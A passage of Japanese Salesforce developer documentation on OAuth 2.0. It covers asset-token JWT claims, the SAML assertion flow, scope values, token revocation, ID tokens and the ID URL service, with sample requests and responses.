CsStFnksKiS14gD9_oK9RchHsLlAt3gSCkIXtdFMmHDPQECtfpvhXhCBw-FAYLNnhJVivU7oNimiUzEVhYlw
-p7V3Qr2lmPzhXzEisELWuQgkyfABdiI9PUOjJA3rLb6RSBmCSA5sjkYKlCjnxRcMA9ZExgS5134yq_bPR
V9BTrDwy2O34Ml2VwGjl9kIMWa5v8CHEtP7eMHbJpqgHQXpwnPna0ND4kAr7EQGF1zuIUBJMS35ZyZYtw5Eg
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da1QbYm8TGpRaKP7tiB0GL1_i3MhGeEC8qnlXg6pWuhJd_Q",
"issued_token_type":"urn:ietf:params:oauth:token-type:jwt",
"token_type":"Bearer",
"expires_in":51840
}

メモ: 発行されたアセットトークンは access_token パラメータに含まれます。expires_in パラメー
タは、接続アプリケーションに指定した有効期間を表します。

アセットトークンの形式と要求
アクセストークン応答内に返されるアセットトークン JWT には、ヘッダー、ペイロード、署名 (署名された場
合) が含まれます。
アセットトークンのヘッダーには、次の要求が含まれます。
• kid  — キー ID 要求。接続アプリケーションに関連付けられた組織固有の公開鍵を識別します。これを使用

して、署名済みアクタートークンの署名ブロックを確認します。
• alg  — アルゴリズム要求。署名アルゴリズムを識別します。値は RS256 である必要があります。
• typ  — 種別要求。トークンの種別を識別します。値は JWT である必要があります。
アセットトークン JWT のペイロードには、次の要求が含まれます。
• iss  — 発行者要求。JWT 発行者 (コミュニティ URL) を識別します。
• aud  — 利用者要求。JWT の対象者を識別します。値は、大文字と小文字を区別する文字列の配列であり、

それぞれに StringOrURI 値が含まれます。アセットトークンの対象コンシューマごとに利用者が指定されま
す。

• exp  — 有効期限要求。これによって識別される有効期限以降は、JWT の処理を受け付けることができませ
ん。値は、1970-01-01T00:00:00Z UTC から、指定された UTC 日時までの秒数を表す数値です。ただし、うるう
秒は無視されます。

• nbf  — 猶予時間要求。これによって識別される時間よりも前は、JWT の処理を受け付けることができませ
ん。「nbf」要求を処理するには、現在の日時が、nbf 要求に含まれるこの猶予時間の日時以降でなければな
りません。値は、1970-01-01T00:00:00Z UTC から、指定された UTC 日時までの秒数を表す数値です。ただし、
うるう秒は無視されます。

• did  — デバイス ID 要求。デバイスの ID を表します。アクタートークンに did 要求が含まれていた場合、
これはアセットトークンに含まれます。

• aid  — アセット ID 要求。アクセストークンのリンク先である新しいまたは既存のアセットの ID を表しま
す。

• cnf  — 確認要求。「Proof-of-Possession Key Semantics for JSON Web Tokens (JSON Web トークンの「所有の証明」
キーセマンティック)」仕様で定義された JSON Web Key 形式の、デバイス固有の RSA キーが含まれます。こ
れを使用して、デバイスの非公開鍵の「所有の証明」を確認します。

• 追加の要求 — 追加の要求には、接続アプリケーションで指定したカスタム属性またはカスタム権限を含め
ることができます。

署名済みアセットトークンの例を次に示します。
eyJraWQiOiJBc3NldHMiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsiaHR0cDovL2x
vY2FsaG9zdDo1MDAwIl0sIm5iZiI6MTQ1MjUzNzUyMCwiaXNzIjoiaHR0cHM6Ly9hc3NldGlkLWRldmV
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sb3Blci1lZGl0aW9uLm5hMS1ibGl0ejAzLnNvbWEuZm9yY2UuY29tIiwiY25mIjp7Imp3ayI6eyJrdHk
iOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6ImRldmljZWtleSIsIm4iOiJoUHBlM1RqYkJTMHB2dzFoMGQ
zbWxqdkNsOVp4Uk9YNzhRNEhLUGVPQjBPWml3QzBaSXBtaHdWZGRQeWFxYklVdTJvcUJORkc3S2Q4YVM
zMDJtQVlkLXNuQzdIcnlzekd1YzIwOFIyMUVMTGJwZ2dWOUlKdl9zdnRMNXh4UjlUdjBfUFRBNFUyR0h
VbnE1dFdDTlNqVEhoYkNzWHNrSmlLSWN4MHR3N2tJMmNaR01VQTJvakEyb1U1YkFrSDYyUkNBUTNEcDl
xTktoNldxZlI3VUpyQlV6NTFuaHVEcnE5eTFRWE1RX3pNZENXLTVTUEFMTE3ekRJa2oyX3FSdmR6LUJQ
SFRPYkU4WXg3cGFlenYzS0hZa3prRHd1M3hqUGhEZGtXMURXMWFraC1zdVpQcFl3STl4bDJ6RUNJMVU1
UVdmT0szeTIwTW1jSEFtRXhtQXIyRHcifX0sImlkIjoiMDViRDAwMDAwMDAwMDVCIiwiZXhwIjoxNDUz
MDU1OTE3LCJhaWQiOiIwMmlEMDAwMDAwMTZHTWciLCJkaWQiOiIyYzRjNzNlNy1lZGM1LTc3ZGQtMDEx
ZC00MzU2MmQyMWNiN2UifQ.Bi-CJGeOUPibvw73oZN26fNM4wEjX1XF657s9dzAgJZCXZlFps4Atu-4H
eILBnnkEkGJPLhSLm88nWcANPIFVNQKkAEifQtUjj2QE7AIWdzoFC9RuyxFv0HnAwRYkJuqoE5en3HV9
8qWMxh1-J3m0eFRTS1tUPSnrKnnPvHktuH4TdRpi3RTl3bueXmgUdYeIXNcpG71wRZDheEGxK_p5Uejq
1YmZVz1a6TBAZG3bH5sJhO0ygk1eHlHwzc5Q0yEH7cI_T5wv7puu_TTiGpDFiWwOcnvsBA8Kf8-LWEaP
Ku6Aypgbg3Ii3kY6RQEQaeTYpd8Q_jSlJi7IwQIA5WbLA

これは、復号化されて次のヘッダーが作成されます。
{
"kid": "00D300000000mlxEAA.978",
"typ": "JWT",
"alg": "RS256"

}

ペイロードは次のように作成されます。
{
"aud": ["https://your.devicebackend.com"],
"nbf": 1452537520,
"iss": "https://yourcommunity.com"
"cnf": {
"jwk": {
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"n":

"hPpe3TjbBS0pvw1h0d3mljvCl9ZxROX78Q4HKPeOB0OZiwC0ZIpmhwVddPyaqbIUu2oqBNFG7Kd8aS302mA
Yd-snC7HryszGuc208R21ELlbpggV9IJv_svtL5xxR9Tv0_PTA4U2GHUnq5tWCNSjTHhbCsXskJiKIcx0tw7
kI2cZGMUA2ojA2oU5bAkH62RCAQ3Dp9qNKh6WqfYwUJrBUz51nhuDrq9y1QXMQ_zMdCW-5SPALM17zDIkj2_
qRvdz-BPHTObE8Yx7paezv3KHYkzkDwu3xjPhDdkW1DW1akh-suZPpYwI9xl2zECI1U5QWfOK3y20MmcHAmE
xmAr2Dw"

}
},
"id": "05bD0000000005B",
"exp": "1453055917"
"aid": "02iD00000016GMg",
"did": "2c4c73e7-edc5-77dd-011d-43562d21cb7e"
"custom_attributes": {
"customattribute1": "unfiltered",

}
}
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SAML アサーションフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

SAML アサーションフローは、現在 SAML を使用して Salesforce にアクセスしてい
て、同じ方法で Web サービスのAPIにアクセスする必要のある組織にとって、代
替フローとなります。SAML アサーションフローは単一の組織内でのみ使用でき
ます。このアサーションフローを使用するために接続アプリケーションを作成
する必要はありません。クライアントはこのアサーションフローを使用して、
Web シングルサインオン用にSalesforceを統合する場合と同じ方法で、SAML アサー
ションを使用して API を統合できます。

メモ:  SAML アサーションフローは、コミュニティではサポートされていま
せん。

SAML アサーションフローを使用する手順は、次のとおりです。
1. 組織の SAML を設定します。SAML バージョン 2.0 が必要です。
2. SAML アサーションとアクセストークンを交換します。
3. Salesforce は、応答を送信します。
4. JSON パーサーを使用して、応答を処理し、access_token を抽出します。

メモ: このフローでは、refresh_token が発行されることはありません。

OAuth 向けの SAML の設定
SAML を使用するように組織を設定するには、「シングルサインオン用の SAML の設定」を参照してください。
SAML を設定したら、Web 統合と API 統合の両方で同じ設定を使用できます。
2 つの URL は、組織の SAML を設定した後に提供されます。
• Salesforce ログイン URL  — Web シングルサインオンを実行する場合、この URL を使用します。
• OAuth 2.0 Token Endpoint  — API で使用するために SAML アサーションとアクセストークンを交換する

場合、この URL を使用します。
トークンエンドポイントで使用する SAML アサーションを生成する場合は、アサーションの受信者 URL が OAuth

2.0 Token Endpoint または [Salesforce ログイン URL] のいずれかの値である可能性があります。

SAML アサーションとアクセストークンの交換
SAML アサーションとアクセストークンを交換するには、クライアントは有効な SAML レスポンスを取得または
生成し、これをトークンエンドポイントに POST する必要があります。この応答を取得するメソッドは、クラ
イアントによって決まります。クライアントが有効な応答を受信したら、次のパラメータが送信されます。
• grant_type  — このフローの値は assertion である必要があります。
• assertion  — Base-64 エンコードされてから URL エンコードされた SAML レスポンス。通常は、Web シング

ルサインオンに使用されます。
• assertion_type  — URL エンコードされた urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser

である必要があります。
• format  — (省略可能) 予測される戻り形式。値は次のとおりです。
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urlencoded–

– json  (デフォルト)

– xml

https://login.salesforce.com/services/oauth2/token に対して行う帯域外 POST の本文の例を次に
示します。
grant_type=assertion&assertion_type=
urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser&
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .

Salesforce サーバによる応答の送信
SAML レスポンスの確認後、Salesforce からクライアントに応答が送信されます。次のパラメータはレスポンス
ボディ内にあります。
• access_token  — Web サービス API で使用できる Salesforce セッション ID。
• token_type  — 値は、アクセストークンを含むすべての応答の Bearer です。
• id  — ユーザと、ユーザの詳細に関するクエリの両方を識別するために使用できる ID URL。「ID URL」 (ペー

ジ 6804)を参照してください。
Salesforce からの応答の例を次に示します。
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"instance_url":"https://yourInstance.salesforce.com","access_token":
"00Dx0000000BV7z!AR8AQNhMmQeDIKR0.hZagSTaEPCkmoXeYnkaxQnqWlG6Sk9U3i3IFjEH
IzDlsYdU0qoVCXNJtPOwdb7u5rKfq9NldfAKoQjd","token_type":"Bearer"}

このステップでエラーが発生した場合、次の情報を含むエラーメッセージが応答に表示されます。
• error  — エラーコード
• error_description  — 追加情報を含むエラーの説明

– unsupported_response_type  — レスポンスタイプがサポートされていない
– invalid_request  — HTTPS が必要
– invalid_request  — HTTP POST を使用する必要がある
– invalid_assertion_type  — 指定したアサーションタイプがサポートされていない
– invalid_grant  — 無効な認証コード (URL エンコードされた assertion および assertion_type が

クライアントから送信されていることを確認してください)

– invalid_grant  — IP 制限または無効なログイン時間帯
– inactive_user  — ユーザが無効
– inactive_org  — 組織がロックされているか、閉じられているか、中断されている
– rate_limit_exceeded  — ログイン数が超過した

• error_uri  — SAML アサーション検証へのリンク。失敗に関する詳細情報が含まれています。このエラー
は、Salesforce でアサーションを解析できる場合にのみ返されます。
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エラーの例を次に示します。
{"error_uri":"https://yourInstance.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid_grant","error_description":"invalid assertion"}

関連トピック:

OAuth によるアプリケーションの認証
シングルサインオン

範囲パラメータの値

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

scope パラメータでは、要求しているトークンに関連付けられる権限を細かく
設定できます。範囲は、接続アプリケーションの定義時に指定した値のサブセッ
トです。
範囲パラメータの値を次に示します。

説明値

REST API や Bulk API などの API を使用して、現在のログイン
ユーザの取引先へのアクセスを許可します。この値には、
Chatter REST API リソースへのアクセスを許可する
chatter_api も含まれます。

api

Chatter REST API リソースへのアクセスのみを許可します。chatter_api

接続アプリケーションに関連付けられている組織のカスタ
ム権限へのアクセスを許可し、現在のユーザで各権限が有
効かどうかを示します。

custom_permissions

ログインユーザがアクセスできるすべてのデータへのアク
セスを許可し、その他すべての範囲が対象となります。

full

full は更新トークンを返しません。更新トークンを取得
するには、refresh_token の範囲を明示的に要求する必
要があります。

ID URL サービスへのアクセスを許可します。profile、
email、address、phone を要求すれば、id を使用した

id

場合と同じ結果を個別に得られます。これらの結果はすべ
て一致します。

OpenID Connect アプリケーションの現在のログインユーザ
の一意の識別子へのアクセスを許可します。
アクセストークンの他にも、「OpenID Connect の仕様」に
従って、OAuth 2.0 ユーザエージェントフローおよび OAuth

openid

2.0 Web サーバ認証フローで openid範囲を使用して、署名
付き ID トークンを再度取得できます。
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説明値

更新トークンを受信できる場合に、それを返すように指定します。これにより、
ユーザがオフラインのときにアプリケーションがユーザのデータを操作できま
す。これは、offline_access を要求した場合と同じ意味になります。

refresh_token

Visualforce ページへのアクセスを許可します。visualforce

Web で access_token を使用することを許可します。これには visualforce

も含まれ、Visualforce ページへのアクセスが許可されます。
web

すべての範囲値に id が含まれており、これを使用して ID URL にいつでもアクセスできます。
ユーザがアプリケーションを承認すると、範囲の値が更新トークンに保存されます。たとえば、ユーザが id

という範囲を持つアプリケーションを承認すると、scope=id を含む更新トークンが作成されます。次に、
ユーザが scope=apiを持つ 2 番目のアプリケーションを承認すると、scope=apiを含む更新トークンが作成
されます。
JSON ベアラートークン要求または SAML ベアラートークン要求では、要求によって前のすべての更新トークン
の範囲が組み合わせられます。
前述の例では、結果は scope=id%20api を含むアクセストークンになります。
次の要求の例は、scope パラメータを api、id、および web の値で設定しています。複数の範囲値は空白文
字 (%20) で区切ります。
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20web

関連トピック:

OAuth によるアプリケーションの認証
ID トークンの取得および確認

OAuth トークンの取り消し

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce データにクライアントアプリケーションがアクセスできないようにす
る場合、またはクライアントアプリケーションを信頼できないためにアクセス
を単独で停止する場合は、OAuth トークンを取り消します。
ユーザが外部アプリケーション (コンシューマのページ) からデータを要求する
と、ユーザが認証されます。取り消し機能を使用して、そのアクセストークン、
または更新トークンとすべての関連するアクセストークンを取り消すことがで
きます。開発者は、アプリケーションのログアウトボタンを設定するときに、
トークンを取り消すことができます。

6801

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



トークンの取り消し
OAuth 2.0 トークンを取り消すには、取り消しのエンドポイントを使用します。
https://login.salesforce.com/services/oauth2/revoke

HTTP 要求の entity-body に application/x-www-form-urlencoded 形式を使用して、次のパラメータを含む
POST 要求を記述します。次に例を示します。

POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded

token=currenttoken

アクセストークンが含まれる場合、Salesforceは、それを無効化してトークンを取り消します。更新トークンが
含まれる場合、Salesforce は、それを取り消して、すべての関連するアクセストークンを取り消します。
認証サーバは、HTTP ステータスコード 200 を返し、要求が正常に処理されたことを示します。すべてのエラー
条件については、ステータスコード 400 と次のいずれかのエラーレスポンスが使用されます。
• unsupported_token_type  — サポートされていないトークンの種別
• invalid_token  — トークンが無効
Sandbox には、login.salesforce.com ではなく test.salesforce.com を使用してください。

GET サポート
Salesforce では、クエリ文字列パラメータ token と現在のトークンを使用した GET 要求もサポートされていま
す。アクセストークンが含まれる場合、Salesforceは、それを無効化してトークンを取り消します。更新トーク
ンが含まれる場合、Salesforceは、それを取り消して、すべての関連するアクセストークンを取り消します。次
に例を示します。
https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

認証サーバは、HTTP ステータスコード 200 を返し、要求が正常に処理されたことを示します。すべてのエラー
条件については、ステータスコード 400 が使用されます。

JSONP サポート
取り消しエンドポイントは、追加の callback パラメータを使用した GET 要求も受け入れることができ、コンテ
ンツタイプ application/javascript の応答を返します。次に例を示します。
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback

要求が成功した場合、callback は、GET の callback パラメータに設定された JavaScript 関数に送信されます。
myCallback({});
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応答が失敗した場合、エラーコードと共に callback が送信されます。
myCallback({"error":"invalid_token"});

関連トピック:

アクセストークンの使用

アクセストークンの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

アクセストークンは、HTTP 認証ヘッダー (REST API または ID URL) または SessionHeader

SOAP 認証ヘッダー (SOAP API) で使用できます。
OAuth バージョン 2.0 のコンシューマがアクセストークンを取得した後でトーク
ンを使用する方法は、使用している API によって異なります。
• REST APIでは、Authorization: Bearer Access_Tokenの形式で HTTP 認証

ヘッダーを使用します。
• SOAP API では、アクセストークンは SessionHeader SOAP 認証ヘッダーに配置さ

れます。
• ID URL では、HTTP 認証ヘッダー (REST API と同様) を使用するか、HTTP パラメー

タ oauth_token を使用します。

ID トークンの取得および確認

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

ID トークンは、ユーザの一意の識別子、トークンがいつ発行されたかなど、認
証済みユーザの属性が含まれる署名済みデータ構造です。ID トークンによって
要求元のクライアントアプリケーションも識別されます。ID トークンは OpenID

Connect によって定義されます。
Salesforce は、OpenID Connect の仕様に従って、OAuth 要求に ID トークンで応答で
きます。要求の範囲パラメータに openid が含まれている場合、OAuth 2.0 ユー
ザエージェントフローと OAuth 2.0 Web サーバ認証フローはどちらも署名付き ID

トークンを要求できます。返されるトークンは、JSON Web トークン (JWT) です。
• ユーザエージェント認証フローには、値が token id_token の

response_typeパラメータ、openid範囲、および nonceパラメータが含
まれている必要があります。

• Web サーバ認証フローには、値が code の response_type パラメータおよ
び openid範囲が含まれている必要があります。nonceパラメータは省略可
能です。
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ユーザエージェント認証フローを使用した ID トークンの要求の例を次に示します。
https://login.salesforce.com/services/oauth2/authorize?response_type=token+id_token
&redirect_uri=https://login.salesforce.com/services/oauth2/success
&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD_
3Oxug0sU3_WrBPd_Ax6Mcnlg5HSnLGQ&scope=openid&nonce=somevalue

公開されている公開鍵を使用して、応答の署名が有効な Salesforce 署名であるかどうかを確認します。
1. https://login.salesforce.com/id/keys に移動します。

応答には、署名に使用された公開鍵に関する JSON 形式の情報が含まれています。

2. リリースバージョンが示されている正しい kid 値の鍵を使用して、署名を確認します。

関連トピック:

OAuth 2.0 ユーザエージェントフロー
OAuth 2.0 Web サーバ認証フロー

ID URL

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

ID URL はユーザを一意に識別する文字列です。これは、ユーザ情報をクエリする
ために使用する REST API でもあります。
ID URL のトークン応答にはアクセストークンが付随します。これは id 範囲パラ
メータに返されます。
ID URL はユーザを一意に識別する文字列です。これは、ユーザに関する追加の情
報をクエリするために使用する RESTful API でもあります。Salesforce は、ユーザに
関する情報を返します。また、クライアントが通信できるエンドポイント (写
真、アクセス可能な API エンドポイントなど) も返します。
組織のあるユーザの ID URL に対するクライアントアクセスでは、同じ組織の別
のユーザの ID URL にはアクセスできません。ただし、関連付けられたトークン
が次のすべての条件を満たしている場合はこの限りではありません。
• アクセストークンの OAuth 要求に full または api 範囲が含まれている。
• 「API の有効化」権限を持つユーザのアクセストークンである。
• 組織のユーザ共有ルールに従って他のユーザにアクセスできるユーザのアク

セストークンである。
• 内部ユーザのアクセストークンである (応答の user_type 値が STANDARD)。
それ以外の場合、各ユーザの ID URL を表示するには、それぞれのアクセストークンが必要になります。
URL の形式は、https://login.salesforce.com/id/orgID/userID です。ここで、orgId はユーザが属
する Salesforce 組織の ID、userID は Salesforce のユーザ ID です。

メモ: Sandbox では、login.salesforce.com は test.salesforce.com に置き換えられます。
URL は HTTPS を使用する必要があります。
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ID URL パラメータ
次のパラメータは、アクセストークンや ID URL と併用できます。アクセストークンは、認証要求ヘッダー、ま
たは oauth_token パラメータのある要求で使用できます。

説明パラメータ

「アクセストークンの使用」 (ページ 6803)を参照してください。アクセストークン

省略可能。返される出力の形式を指定します。値は次のとおりです。format

• json

• xml

formatパラメータを使用する代わりに、クライアントは次のいずれかを使
用して、受け入れ要求ヘッダーの返される形式も指定できます。
• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

次の点に注意してください。
• ワイルドカードを受け入れるヘッダーが許可されます。*/*が受け入れ

られ、JSON を返します。
• 値のリストも受け入れられ、左から右に確認されます。たとえば、

application/xml,application/json,application/html,*/* は
XML を返します。

• format パラメータは、受け入れ要求ヘッダーより優先されます。

省略可能。SOAP APIバージョン番号またはリテラル文字列 latestを指定し
ます。この値が指定されていない場合、返される API URL には、クライアン

version

トが文字列置換を実行するためのバージョン番号の代わりに、リテラル値
{version} が含まれます。値が latest として指定されると、最新の API

バージョンが使用されます。

このパラメータは省略可能で、ヘッダー内でのみ使用できます。URL パラ
メータとしては使用できません。サイズではなく読みやすさを目的として、

PrettyPrint

返される XML または JSON 出力を最適化するために指定します。たとえば、
ヘッダーで X-PrettyPrint:1 を使用します。

省略可能。有効な JavaScript 関数名を指定します。指定した形式が JSON の場
合、このパラメータを使用できます。出力はこの関数名 (JSONP) でラップさ

callback

れます。たとえば、https://server/id/orgid/userid/ に対する要求
では {"foo":"bar"} を返し、
https://server/id/orgid/userid/?callback=bazに対する要求では
baz({"foo":"bar"}); を返します。
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ID URL レスポンス
有効な要求では、JSON 形式で次の情報が返されます。
• id  — ID URL (クエリされた URL と同じ)

• asserted_user  — 指定されたアクセストークンがこの ID に発行されたかどうかを示す Boolean 値
• user_id  — Salesforce ユーザ ID

• username  — Salesforce ユーザ名
• organization_id  — Salesforce 組織 ID

• nick_name  — クエリ対象ユーザのコミュニティのニックネーム
• display_name  — クエリ対象ユーザの表示名 (氏名)

• email  — クエリ対象ユーザのメールアドレス
• email_verified  — 組織でメールの確認が有効化されているか (true)、否か (false) を示します
• first_name  — ユーザの名
• last_name  — ユーザの姓
• timezone  — ユーザの設定のタイムゾーン
• photos  — ユーザプロファイルの写真への URL の対応付け

メモ: これらの URL にアクセスするには、アクセストークンを渡す必要があります。「アクセストー
クンの使用」 (ページ 6803)を参照してください。

– picture

– thumbnail

• addr_street  — ユーザの設定の住所で指定されている町名・番地
• addr_city  — ユーザの設定の住所で指定されている市区郡
• addr_state  — ユーザの設定の住所で指定されている都道府県
• addr_country  — ユーザの設定の住所で指定されている国
• addr_zip  — ユーザの設定の住所で指定されている郵便番号
• mobile_phone  — ユーザの設定の携帯電話番号
• mobile_phone_verified  — 有効な番号であることをユーザが確認した携帯電話番号 (「モバイルユーザ」

を参照)

• status  — ユーザの現在の Chatter 状況
– created_date  — ユーザの前回の投稿の作成日付の xsd datetime 値 (2010-05-08T05:17:51.000Z など)

– body  — 投稿の本文
• urls  — 指定されたユーザで使用できる、さまざまな API エンドポイントを含む対応付け

メモ:  REST エンドポイントへのアクセスでは、アクセストークンを渡す必要があります。「アクセス
トークンの使用」 (ページ 6803)を参照してください。

– enterprise  (SOAP)

– metadata  (SOAP)

– partner  (SOAP)
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– rest  (REST)

– sobjects  (REST)

– search  (REST)

– query  (REST)

– recent  (REST)

– profile

– feeds  (Chatter)

– feed-items  (Chatter)

– groups  (Chatter)

– users  (Chatter)

– custom_domain  — 設定または伝搬されたカスタムドメインが組織にない場合、この値は省略されます
• active  — クエリ対象のユーザが有効であるかどうかを指定する Boolean 値
• user_type  — クエリ対象のユーザの種別
• language  — クエリ対象のユーザの言語
• locale  — クエリ対象のユーザの地域
• utcOffset  — クエリ対象のユーザのタイムゾーンの UTC からのオフセット (ミリ秒単位)

• last_modified_date  — ユーザの前回の変更の xsd datetime形式のタイムスタンプ (2010-06-28T20:54:09.000Z

など)

• is_app_installed  — 接続アプリケーションがユーザの組織にインストールされていて、ユーザのアクセ
ストークンが OAuth フローを使用して作成されている場合、値は true になります。接続アプリケーショ
ンがインストールされていない場合、このプロパティは (false になるのではなく) 存在しません。応答を
解析する場合、このプロパティの有無と値の両方を確認してください。

• mobile_policy  — モバイル接続アプリケーションを管理するための特定の値。これらの値は、接続アプ
リケーションが現在のユーザの組織にインストールされていて、そのアプリケーションでセッションタイ
ムアウト値が定義され、PIN (個人識別番号) に長さの値がある場合にのみ使用できます。
– screen_lock  — 操作しなくなってから画面をロックするまでの待機時間
– pin_length  — モバイルアプリケーションにアクセスするために必要な識別番号の長さ

• push_service_type  — 接続アプリケーションが Apple Push Notification Service (APNS) for iOS 転送通知に登録さ
れている場合は appleに設定され、Google Cloud Messaging (GCM) for Android 転送通知に登録されている場合は
androidGcm に設定されます。応答値は配列型です。

• custom_permissions  — custom_permissions範囲パラメータが要求にある場合、接続アプリケーショ
ンに関連付けられた組織のカスタム権限を含む対応付けが応答にあります。接続アプリケーションが組織
にインストールされていない場合や、カスタム権限に関連付けられていない場合、custom_permissions

の対応付けは応答にありません。要求の例を次に示します。
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20custom_permissions
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ID URL レスポンスの JSON ブロックを次に示します。
"custom_permissions":
{
"Email.View":true,
"Email.Create":false,
"Email.Delete":false

}

XML 形式の応答を次に示します。
<?xml version="1.0" encoding="UTF-8"?>
<user xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<id>https://yourInstance.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id>
<asserted_user>true</asserted_user>
<user_id>005x0000001S2b9</user_id>
<organization_id>00Dx0000001T0zk</organization_id>
<nick_name>admin1.2777578168398293E12foofoofoofoo</nick_name>
<display_name>Alan Van</display_name>
<email>admin@2060747062579699.com</email>
<status>

<created_date xsi:nil="true"/>
<body xsi:nil="true"/>

</status>
<photos>

<picture>https://yourInstance.salesforce.com/profilephoto/005/F</picture>
<thumbnail>https://yourInstance.salesforce.com/profilephoto/005/T</thumbnail>

</photos>
<urls>

<enterprise>https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk

</enterprise>
<metadata>https://yourInstance.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk

</metadata>
<partner>https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk

</partner>
<rest>https://yourInstance.salesforce.com/services/data/v{version}/
</rest>
<sobjects>https://yourInstance.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>https://yourInstance.salesforce.com/services/data/v{version}/search/
</search>
<query>https://yourInstance.salesforce.com/services/data/v{version}/query/
</query>
<profile>https://yourInstance.salesforce.com/005x0000001S2b9
</profile>

</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>

6808

Salesforce とのアプリケーションのインテグレーションコードを使用した Salesforce の拡張



<last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date>
</user>

JSON 形式の応答を次に示します。
{"id":"https://yourInstance.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9",
"asserted_user":true,
"user_id":"005x0000001S2b9",
"organization_id":"00Dx0000001T0zk",
"nick_name":"admin1.2777578168398293E12foofoofoofoo",
"display_name":"Alan Van",
"email":"admin@2060747062579699.com",
"status":{"created_date":null,"body":null},
"photos":{"picture":"https://yourInstance.salesforce.com/profilephoto/005/F",

"thumbnail":"https://yourInstance.salesforce.com/profilephoto/005/T"},
"urls":

{"enterprise":"https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk",

"metadata":"https://yourInstance.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk",

"partner":"https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",

"rest":"https://yourInstance.salesforce.com/services/data/v{version}/",
"sobjects":"https://yourInstance.salesforce.com/services/data/v{version}/sobjects/",
"search":"https://yourInstance.salesforce.com/services/data/v{version}/search/",
"query":"https://yourInstance.salesforce.com/services/data/v{version}/query/",
"profile":"https://yourInstance.salesforce.com/005x0000001S2b9"},

"active":true,
"user_type":"STANDARD",
"language":"en_US",
"locale":"en_US",
"utcOffset":-28800000,
"last_modified_date":"2010-06-28T20:54:09.000+0000"}

無効な要求を作成すると、Salesforce から次の応答を受信する可能性があります。

要求の問題エラーコード

HTTP403 (forbidden) — HTTPS_Required

アクセストークンがない403 (forbidden) — Missing_OAuth_Token

アクセストークンが無効403 (forbidden) — Bad_OAuth_Token

異なる組織のユーザ403 (forbidden) — Wrong_Org

ユーザ ID または組織 ID が無効または間違って
いる

404 (not found) — Bad_Id

無効になったユーザまたは無効な組織404 (not found) — Inactive
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要求の問題エラーコード

ユーザに組織または情報への適切なアクセス権
がない

404 (not found) — No_Access

サイトの無効なエンドポイントへの要求404 (not found) — No_Site_Endpoint

サーバから応答がない404 (not found) — Internal Error

無効なバージョン406 (not acceptable) — Invalid_Version

無効なコールバック406 (not acceptable) — Invalid_Callback

関連トピック:

アクセストークンの使用
ユーザの編集

UserInfo エンドポイント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

OpenID Connect は、ユーザのプロファイル情報を取得するための UserInfo エンドポ
イントを定義します。
UserInfo エンドポイントは、標準 OpenID Connect 形式のアクセストークンに関連付
けられているユーザの情報を、有効なアクセストークンでクエリするために使
用する RESTful API です。Salesforce は、ユーザに関する基本的な個人情報と、クラ
